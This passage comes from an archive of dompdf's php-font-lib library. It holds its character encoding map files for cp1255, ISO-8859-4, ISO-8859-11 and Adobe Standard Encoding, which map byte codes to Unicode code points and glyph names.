!FA U+00FA uacute
!FB U+00FB ucircumflex
!FC U+00FC udieresis
!FD U+00FD yacute
!FE U+00FE thorn
!FF U+00FF ydieresis
vendor/dompdf/php-font-lib/maps/cp1255.map000066600000010663151150442750014205 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+20AC Euro
!82 U+201A quotesinglbase
!83 U+0192 florin
!84 U+201E quotedblbase
!85 U+2026 ellipsis
!86 U+2020 dagger
!87 U+2021 daggerdbl
!88 U+02C6 circumflex
!89 U+2030 perthousand
!8B U+2039 guilsinglleft
!91 U+2018 quoteleft
!92 U+2019 quoteright
!93 U+201C quotedblleft
!94 U+201D quotedblright
!95 U+2022 bullet
!96 U+2013 endash
!97 U+2014 emdash
!98 U+02DC tilde
!99 U+2122 trademark
!9B U+203A guilsinglright
!A0 U+00A0 space
!A1 U+00A1 exclamdown
!A2 U+00A2 cent
!A3 U+00A3 sterling
!A4 U+20AA afii57636
!A5 U+00A5 yen
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+00A8 dieresis
!A9 U+00A9 copyright
!AA U+00D7 multiply
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD sfthyphen
!AE U+00AE registered
!AF U+00AF macron
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+00B2 twosuperior
!B3 U+00B3 threesuperior
!B4 U+00B4 acute
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 middot
!B8 U+00B8 cedilla
!B9 U+00B9 onesuperior
!BA U+00F7 divide
!BB U+00BB guillemotright
!BC U+00BC onequarter
!BD U+00BD onehalf
!BE U+00BE threequarters
!BF U+00BF questiondown
!C0 U+05B0 afii57799
!C1 U+05B1 afii57801
!C2 U+05B2 afii57800
!C3 U+05B3 afii57802
!C4 U+05B4 afii57793
!C5 U+05B5 afii57794
!C6 U+05B6 afii57795
!C7 U+05B7 afii57798
!C8 U+05B8 afii57797
!C9 U+05B9 afii57806
!CB U+05BB afii57796
!CC U+05BC afii57807
!CD U+05BD afii57839
!CE U+05BE afii57645
!CF U+05BF afii57841
!D0 U+05C0 afii57842
!D1 U+05C1 afii57804
!D2 U+05C2 afii57803
!D3 U+05C3 afii57658
!D4 U+05F0 afii57716
!D5 U+05F1 afii57717
!D6 U+05F2 afii57718
!D7 U+05F3 gereshhebrew
!D8 U+05F4 gershayimhebrew
!E0 U+05D0 afii57664
!E1 U+05D1 afii57665
!E2 U+05D2 afii57666
!E3 U+05D3 afii57667
!E4 U+05D4 afii57668
!E5 U+05D5 afii57669
!E6 U+05D6 afii57670
!E7 U+05D7 afii57671
!E8 U+05D8 afii57672
!E9 U+05D9 afii57673
!EA U+05DA afii57674
!EB U+05DB afii57675
!EC U+05DC afii57676
!ED U+05DD afii57677
!EE U+05DE afii57678
!EF U+05DF afii57679
!F0 U+05E0 afii57680
!F1 U+05E1 afii57681
!F2 U+05E2 afii57682
!F3 U+05E3 afii57683
!F4 U+05E4 afii57684
!F5 U+05E5 afii57685
!F6 U+05E6 afii57686
!F7 U+05E7 afii57687
!F8 U+05E8 afii57688
!F9 U+05E9 afii57689
!FA U+05EA afii57690
!FD U+200E afii299
!FE U+200F afii300
vendor/dompdf/php-font-lib/maps/iso-8859-4.map000066600000011354151150442750014632 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+0080 .notdef
!81 U+0081 .notdef
!82 U+0082 .notdef
!83 U+0083 .notdef
!84 U+0084 .notdef
!85 U+0085 .notdef
!86 U+0086 .notdef
!87 U+0087 .notdef
!88 U+0088 .notdef
!89 U+0089 .notdef
!8A U+008A .notdef
!8B U+008B .notdef
!8C U+008C .notdef
!8D U+008D .notdef
!8E U+008E .notdef
!8F U+008F .notdef
!90 U+0090 .notdef
!91 U+0091 .notdef
!92 U+0092 .notdef
!93 U+0093 .notdef
!94 U+0094 .notdef
!95 U+0095 .notdef
!96 U+0096 .notdef
!97 U+0097 .notdef
!98 U+0098 .notdef
!99 U+0099 .notdef
!9A U+009A .notdef
!9B U+009B .notdef
!9C U+009C .notdef
!9D U+009D .notdef
!9E U+009E .notdef
!9F U+009F .notdef
!A0 U+00A0 space
!A1 U+0104 Aogonek
!A2 U+0138 kgreenlandic
!A3 U+0156 Rcommaaccent
!A4 U+00A4 currency
!A5 U+0128 Itilde
!A6 U+013B Lcommaaccent
!A7 U+00A7 section
!A8 U+00A8 dieresis
!A9 U+0160 Scaron
!AA U+0112 Emacron
!AB U+0122 Gcommaaccent
!AC U+0166 Tbar
!AD U+00AD hyphen
!AE U+017D Zcaron
!AF U+00AF macron
!B0 U+00B0 degree
!B1 U+0105 aogonek
!B2 U+02DB ogonek
!B3 U+0157 rcommaaccent
!B4 U+00B4 acute
!B5 U+0129 itilde
!B6 U+013C lcommaaccent
!B7 U+02C7 caron
!B8 U+00B8 cedilla
!B9 U+0161 scaron
!BA U+0113 emacron
!BB U+0123 gcommaaccent
!BC U+0167 tbar
!BD U+014A Eng
!BE U+017E zcaron
!BF U+014B eng
!C0 U+0100 Amacron
!C1 U+00C1 Aacute
!C2 U+00C2 Acircumflex
!C3 U+00C3 Atilde
!C4 U+00C4 Adieresis
!C5 U+00C5 Aring
!C6 U+00C6 AE
!C7 U+012E Iogonek
!C8 U+010C Ccaron
!C9 U+00C9 Eacute
!CA U+0118 Eogonek
!CB U+00CB Edieresis
!CC U+0116 Edotaccent
!CD U+00CD Iacute
!CE U+00CE Icircumflex
!CF U+012A Imacron
!D0 U+0110 Dcroat
!D1 U+0145 Ncommaaccent
!D2 U+014C Omacron
!D3 U+0136 Kcommaaccent
!D4 U+00D4 Ocircumflex
!D5 U+00D5 Otilde
!D6 U+00D6 Odieresis
!D7 U+00D7 multiply
!D8 U+00D8 Oslash
!D9 U+0172 Uogonek
!DA U+00DA Uacute
!DB U+00DB Ucircumflex
!DC U+00DC Udieresis
!DD U+0168 Utilde
!DE U+016A Umacron
!DF U+00DF germandbls
!E0 U+0101 amacron
!E1 U+00E1 aacute
!E2 U+00E2 acircumflex
!E3 U+00E3 atilde
!E4 U+00E4 adieresis
!E5 U+00E5 aring
!E6 U+00E6 ae
!E7 U+012F iogonek
!E8 U+010D ccaron
!E9 U+00E9 eacute
!EA U+0119 eogonek
!EB U+00EB edieresis
!EC U+0117 edotaccent
!ED U+00ED iacute
!EE U+00EE icircumflex
!EF U+012B imacron
!F0 U+0111 dcroat
!F1 U+0146 ncommaaccent
!F2 U+014D omacron
!F3 U+0137 kcommaaccent
!F4 U+00F4 ocircumflex
!F5 U+00F5 otilde
!F6 U+00F6 odieresis
!F7 U+00F7 divide
!F8 U+00F8 oslash
!F9 U+0173 uogonek
!FA U+00FA uacute
!FB U+00FB ucircumflex
!FC U+00FC udieresis
!FD U+0169 utilde
!FE U+016B umacron
!FF U+02D9 dotaccent
vendor/dompdf/php-font-lib/maps/iso-8859-11.map000066600000011511151150442750014703 0ustar00!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+0080 .notdef
!81 U+0081 .notdef
!82 U+0082 .notdef
!83 U+0083 .notdef
!84 U+0084 .notdef
!85 U+0085 .notdef
!86 U+0086 .notdef
!87 U+0087 .notdef
!88 U+0088 .notdef
!89 U+0089 .notdef
!8A U+008A .notdef
!8B U+008B .notdef
!8C U+008C .notdef
!8D U+008D .notdef
!8E U+008E .notdef
!8F U+008F .notdef
!90 U+0090 .notdef
!91 U+0091 .notdef
!92 U+0092 .notdef
!93 U+0093 .notdef
!94 U+0094 .notdef
!95 U+0095 .notdef
!96 U+0096 .notdef
!97 U+0097 .notdef
!98 U+0098 .notdef
!99 U+0099 .notdef
!9A U+009A .notdef
!9B U+009B .notdef
!9C U+009C .notdef
!9D U+009D .notdef
!9E U+009E .notdef
!9F U+009F .notdef
!A0 U+00A0 space
!A1 U+0E01 kokaithai
!A2 U+0E02 khokhaithai
!A3 U+0E03 khokhuatthai
!A4 U+0E04 khokhwaithai
!A5 U+0E05 khokhonthai
!A6 U+0E06 khorakhangthai
!A7 U+0E07 ngonguthai
!A8 U+0E08 chochanthai
!A9 U+0E09 chochingthai
!AA U+0E0A chochangthai
!AB U+0E0B sosothai
!AC U+0E0C chochoethai
!AD U+0E0D yoyingthai
!AE U+0E0E dochadathai
!AF U+0E0F topatakthai
!B0 U+0E10 thothanthai
!B1 U+0E11 thonangmonthothai
!B2 U+0E12 thophuthaothai
!B3 U+0E13 nonenthai
!B4 U+0E14 dodekthai
!B5 U+0E15 totaothai
!B6 U+0E16 thothungthai
!B7 U+0E17 thothahanthai
!B8 U+0E18 thothongthai
!B9 U+0E19 nonuthai
!BA U+0E1A bobaimaithai
!BB U+0E1B poplathai
!BC U+0E1C phophungthai
!BD U+0E1D fofathai
!BE U+0E1E phophanthai
!BF U+0E1F fofanthai
!C0 U+0E20 phosamphaothai
!C1 U+0E21 momathai
!C2 U+0E22 yoyakthai
!C3 U+0E23 roruathai
!C4 U+0E24 ruthai
!C5 U+0E25 lolingthai
!C6 U+0E26 luthai
!C7 U+0E27 wowaenthai
!C8 U+0E28 sosalathai
!C9 U+0E29 sorusithai
!CA U+0E2A sosuathai
!CB U+0E2B hohipthai
!CC U+0E2C lochulathai
!CD U+0E2D oangthai
!CE U+0E2E honokhukthai
!CF U+0E2F paiyannoithai
!D0 U+0E30 saraathai
!D1 U+0E31 maihanakatthai
!D2 U+0E32 saraaathai
!D3 U+0E33 saraamthai
!D4 U+0E34 saraithai
!D5 U+0E35 saraiithai
!D6 U+0E36 sarauethai
!D7 U+0E37 saraueethai
!D8 U+0E38 sarauthai
!D9 U+0E39 sarauuthai
!DA U+0E3A phinthuthai
!DF U+0E3F bahtthai
!E0 U+0E40 saraethai
!E1 U+0E41 saraaethai
!E2 U+0E42 saraothai
!E3 U+0E43 saraaimaimuanthai
!E4 U+0E44 saraaimaimalaithai
!E5 U+0E45 lakkhangyaothai
!E6 U+0E46 maiyamokthai
!E7 U+0E47 maitaikhuthai
!E8 U+0E48 maiekthai
!E9 U+0E49 maithothai
!EA U+0E4A maitrithai
!EB U+0E4B maichattawathai
!EC U+0E4C thanthakhatthai
!ED U+0E4D nikhahitthai
!EE U+0E4E yamakkanthai
!EF U+0E4F fongmanthai
!F0 U+0E50 zerothai
!F1 U+0E51 onethai
!F2 U+0E52 twothai
!F3 U+0E53 threethai
!F4 U+0E54 fourthai
!F5 U+0E55 fivethai
!F6 U+0E56 sixthai
!F7 U+0E57 seventhai
!F8 U+0E58 eightthai
!F9 U+0E59 ninethai
!FA U+0E5A angkhankhuthai
!FB U+0E5B khomutthai
vendor/dompdf/php-font-lib/maps/adobe-standard-encoding.map000066600000017265151150442750017727 0ustar00// Adobe Standard Encoding table for ttf2pt1
// Thomas Henlich <Thomas.Henlich@mailbox.tu-dresden.de> 

=20	U+0020	SPACE
=21	U+0021	EXCLAMATION MARK
=22	U+0022	QUOTATION MARK
=23	U+0023	NUMBER SIGN
=24	U+0024	DOLLAR SIGN
=25	U+0025	PERCENT SIGN
=26	U+0026	AMPERSAND
=27	U+2019	RIGHT SINGLE QUOTATION MARK
=28	U+0028	LEFT PARENTHESIS
=29	U+0029	RIGHT PARENTHESIS
=2A	U+002A	ASTERISK
=2B	U+002B	PLUS SIGN
=2C	U+002C	COMMA
=2D	U+002D	HYPHEN-MINUS
=2E	U+002E	FULL STOP
=2F	U+002F	SOLIDUS
=30	U+0030	DIGIT ZERO
=31	U+0031	DIGIT ONE
=32	U+0032	DIGIT TWO
=33	U+0033	DIGIT THREE
=34	U+0034	DIGIT FOUR
=35	U+0035	DIGIT FIVE
=36	U+0036	DIGIT SIX
=37	U+0037	DIGIT SEVEN
=38	U+0038	DIGIT EIGHT
=39	U+0039	DIGIT NINE
=3A	U+003A	COLON
=3B	U+003B	SEMICOLON
=3C	U+003C	LESS-THAN SIGN
=3D	U+003D	EQUALS SIGN
=3E	U+003E	GREATER-THAN SIGN
=3F	U+003F	QUESTION MARK
=40	U+0040	COMMERCIAL AT
=41	U+0041	LATIN CAPITAL LETTER A
=42	U+0042	LATIN CAPITAL LETTER B
=43	U+0043	LATIN CAPITAL LETTER C
=44	U+0044	LATIN CAPITAL LETTER D
=45	U+0045	LATIN CAPITAL LETTER E
=46	U+0046	LATIN CAPITAL LETTER F
=47	U+0047	LATIN CAPITAL LETTER G
=48	U+0048	LATIN CAPITAL LETTER H
=49	U+0049	LATIN CAPITAL LETTER I
=4A	U+004A	LATIN CAPITAL LETTER J
=4B	U+004B	LATIN CAPITAL LETTER K
=4C	U+004C	LATIN CAPITAL LETTER L
=4D	U+004D	LATIN CAPITAL LETTER M
=4E	U+004E	LATIN CAPITAL LETTER N
=4F	U+004F	LATIN CAPITAL LETTER O
=50	U+0050	LATIN CAPITAL LETTER P
=51	U+0051	LATIN CAPITAL LETTER Q
=52	U+0052	LATIN CAPITAL LETTER R
=53	U+0053	LATIN CAPITAL LETTER S
=54	U+0054	LATIN CAPITAL LETTER T
=55	U+0055	LATIN CAPITAL LETTER U
=56	U+0056	LATIN CAPITAL LETTER V
=57	U+0057	LATIN CAPITAL LETTER W
=58	U+0058	LATIN CAPITAL LETTER X
=59	U+0059	LATIN CAPITAL LETTER Y
=5A	U+005A	LATIN CAPITAL LETTER Z
=5B	U+005B	LEFT SQUARE BRACKET
=5C	U+005C	REVERSE SOLIDUS
=5D	U+005D	RIGHT SQUARE BRACKET
=5E	U+005E	CIRCUMFLEX ACCENT
=5F	U+005F	LOW LINE
=60	U+2018	LEFT SINGLE QUOTATION MARK
=61	U+0061	LATIN SMALL LETTER A
=62	U+0062	LATIN SMALL LETTER B
=63	U+0063	LATIN SMALL LETTER C
=64	U+0064	LATIN SMALL LETTER D
=65	U+0065	LATIN SMALL LETTER E
=66	U+0066	LATIN SMALL LETTER F
=67	U+0067	LATIN SMALL LETTER G
=68	U+0068	LATIN SMALL LETTER H
=69	U+0069	LATIN SMALL LETTER I
=6A	U+006A	LATIN SMALL LETTER J
=6B	U+006B	LATIN SMALL LETTER K
=6C	U+006C	LATIN SMALL LETTER L
=6D	U+006D	LATIN SMALL LETTER M
=6E	U+006E	LATIN SMALL LETTER N
=6F	U+006F	LATIN SMALL LETTER O
=70	U+0070	LATIN SMALL LETTER P
=71	U+0071	LATIN SMALL LETTER Q
=72	U+0072	LATIN SMALL LETTER R
=73	U+0073	LATIN SMALL LETTER S
=74	U+0074	LATIN SMALL LETTER T
=75	U+0075	LATIN SMALL LETTER U
=76	U+0076	LATIN SMALL LETTER V
=77	U+0077	LATIN SMALL LETTER W
=78	U+0078	LATIN SMALL LETTER X
=79	U+0079	LATIN SMALL LETTER Y
=7A	U+007A	LATIN SMALL LETTER Z
=7B	U+007B	LEFT CURLY BRACKET
=7C	U+007C	VERTICAL LINE
=7D	U+007D	RIGHT CURLY BRACKET
=7E	U+007E	TILDE
=A1	U+00A1	INVERTED EXCLAMATION MARK
=A2	U+00A2	CENT SIGN
=A3	U+00A3	POUND SIGN
=A4	U+2044	FRACTION SLASH
=A5	U+00A5	YEN SIGN
=A6	U+0192	LATIN SMALL LETTER F WITH HOOK
=A7	U+00A7	SECTION SIGN
=A8	U+00A4	CURRENCY SIGN
=A9	U+0027	APOSTROPHE
=AA	U+201C	LEFT DOUBLE QUOTATION MARK
=AB	U+00AB	LEFT-POINTING DOUBLE ANGLE QUOTATION MARK
=AC	U+2039	SINGLE LEFT-POINTING ANGLE QUOTATION MARK
=AD	U+203A	SINGLE RIGHT-POINTING ANGLE QUOTATION MARK
=AE	U+FB01	LATIN SMALL LIGATURE FI
=AF	U+FB02	LATIN SMALL LIGATURE FL
=B1	U+2013	EN DASH
=B2	U+2020	DAGGER
=B3	U+2021	DOUBLE DAGGER
=B4	U+00B7	MIDDLE DOT
=B6	U+00B6	PILCROW SIGN
=B7	U+2022	BULLET
=B8	U+201A	SINGLE LOW-9 QUOTATION MARK
=B9	U+201E	DOUBLE LOW-9 QUOTATION MARK
=BA	U+201D	RIGHT DOUBLE QUOTATION MARK
=BB	U+00BB	RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK
=BC	U+2026	HORIZONTAL ELLIPSIS
=BD	U+2030	PER MILLE SIGN
=BF	U+00BF	INVERTED QUESTION MARK
=C1	U+0060	GRAVE ACCENT
=C2	U+00B4	ACUTE ACCENT
=C3	U+02C6	MODIFIER LETTER CIRCUMFLEX ACCENT
=C4	U+02DC	SMALL TILDE
=C5	U+00AF	MACRON
=C6	U+02D8	BREVE
=C7	U+02D9	DOT ABOVE
=C8	U+00A8	DIAERESIS
=CA	U+02DA	RING ABOVE
=CB	U+00B8	CEDILLA
=CD	U+02DD	DOUBLE ACUTE ACCENT
=CE	U+02DB	OGONEK
=CF	U+02C7	CARON
=D0	U+2014	EM DASH
=E1	U+00C6	LATIN CAPITAL LETTER AE
=E3	U+00AA	FEMININE ORDINAL INDICATOR
=E8	U+0141	LATIN CAPITAL LETTER L WITH STROKE
=E9	U+00D8	LATIN CAPITAL LETTER O WITH STROKE
=EA	U+0152	LATIN CAPITAL LIGATURE OE
=EB	U+00BA	MASCULINE ORDINAL INDICATOR
=F1	U+00E6	LATIN SMALL LETTER AE
=F5	U+0131	LATIN SMALL LETTER DOTLESS I
=F8	U+0142	LATIN SMALL LETTER L WITH STROKE
=F9	U+00F8	LATIN SMALL LETTER O WITH STROKE
=FA	U+0153	LATIN SMALL LIGATURE OE
=FB	U+00DF	LATIN SMALL LETTER SHARP S

// unencoded characters:
=100	U+00E7	LATIN SMALL LETTER C WITH CEDILLA
=101	U+00FF	LATIN SMALL LETTER Y WITH DIAERESIS
=102	U+00E3	LATIN SMALL LETTER A WITH TILDE
=103	U+00EE	LATIN SMALL LETTER I WITH CIRCUMFLEX
=104	U+00B3	SUPERSCRIPT THREE
=105	U+00EA	LATIN SMALL LETTER E WITH CIRCUMFLEX
=106	U+00FE	LATIN SMALL LETTER THORN
=107	U+00E8	LATIN SMALL LETTER E WITH GRAVE
=108	U+00B2	SUPERSCRIPT TWO
=109	U+00E9	LATIN SMALL LETTER E WITH ACUTE
=10A	U+00F5	LATIN SMALL LETTER O WITH TILDE
=10B	U+00C1	LATIN CAPITAL LETTER A WITH ACUTE
=10C	U+00F4	LATIN SMALL LETTER O WITH CIRCUMFLEX
=10D	U+00FD	LATIN SMALL LETTER Y WITH ACUTE
=10E	U+00FC	LATIN SMALL LETTER U WITH DIAERESIS
=10F	U+00BE	VULGAR FRACTION THREE QUARTERS
=110	U+00E2	LATIN SMALL LETTER A WITH CIRCUMFLEX
=111	U+00D0	LATIN CAPITAL LETTER ETH
=112	U+00EB	LATIN SMALL LETTER E WITH DIAERESIS
=113	U+00F9	LATIN SMALL LETTER U WITH GRAVE
=114	U+2122	TRADE MARK SIGN
=115	U+00F2	LATIN SMALL LETTER O WITH GRAVE
=116    U+0161  LATIN SMALL LETTER S WITH CARON
=117	U+00CF	LATIN CAPITAL LETTER I WITH DIAERESIS
=118	U+00FA	LATIN SMALL LETTER U WITH ACUTE
=119	U+00E0	LATIN SMALL LETTER A WITH GRAVE
=11A	U+00F1	LATIN SMALL LETTER N WITH TILDE
=11B	U+00E5	LATIN SMALL LETTER A WITH RING ABOVE
=11C    U+017E  LATIN SMALL LETTER Z WITH CARON
=11D	U+00CE	LATIN CAPITAL LETTER I WITH CIRCUMFLEX
=11E	U+00D1	LATIN CAPITAL LETTER N WITH TILDE
=11F	U+00FB	LATIN SMALL LETTER U WITH CIRCUMFLEX
=120	U+00CA	LATIN CAPITAL LETTER E WITH CIRCUMFLEX
=121	U+00CD	LATIN CAPITAL LETTER I WITH ACUTE
=122	U+00C7	LATIN CAPITAL LETTER C WITH CEDILLA
=123	U+00D6	LATIN CAPITAL LETTER O WITH DIAERESIS
=124    U+0160  LATIN CAPITAL LETTER S WITH CARON
=125	U+00CC	LATIN CAPITAL LETTER I WITH GRAVE
=126	U+00E4	LATIN SMALL LETTER A WITH DIAERESIS
=127	U+00D2	LATIN CAPITAL LETTER O WITH GRAVE
=128	U+00C8	LATIN CAPITAL LETTER E WITH GRAVE
=129    U+0178  LATIN CAPITAL LETTER Y WITH DIAERESIS
=12A	U+00AE	REGISTERED SIGN
=12B	U+00D5	LATIN CAPITAL LETTER O WITH TILDE
=12C	U+00BC	VULGAR FRACTION ONE QUARTER
=12D	U+00D9	LATIN CAPITAL LETTER U WITH GRAVE
=12E	U+00DB	LATIN CAPITAL LETTER U WITH CIRCUMFLEX
=12F	U+00DE	LATIN CAPITAL LETTER THORN
=130	U+00F7	DIVISION SIGN
=131	U+00C3	LATIN CAPITAL LETTER A WITH TILDE
=132	U+00DA	LATIN CAPITAL LETTER U WITH ACUTE
=133	U+00D4	LATIN CAPITAL LETTER O WITH CIRCUMFLEX
=134	U+00AC	NOT SIGN
=135	U+00C5	LATIN CAPITAL LETTER A WITH RING ABOVE
=136	U+00EF	LATIN SMALL LETTER I WITH DIAERESIS
=137	U+00ED	LATIN SMALL LETTER I WITH ACUTE
=138	U+00E1	LATIN SMALL LETTER A WITH ACUTE
=139	U+00B1	PLUS-MINUS SIGN
=13A	U+00D7	MULTIPLICATION SIGN
=13B	U+00DC	LATIN CAPITAL LETTER U WITH DIAERESIS
=13C	U+2212  MINUS SIGN
=13D	U+00B9	SUPERSCRIPT ONE
=13E	U+00C9	LATIN CAPITAL LETTER E WITH ACUTE
=13F	U+00C2	LATIN CAPITAL LETTER A WITH CIRCUMFLEX
=140	U+00A9	COPYRIGHT SIGN
=141	U+00C0	LATIN CAPITAL LETTER A WITH GRAVE
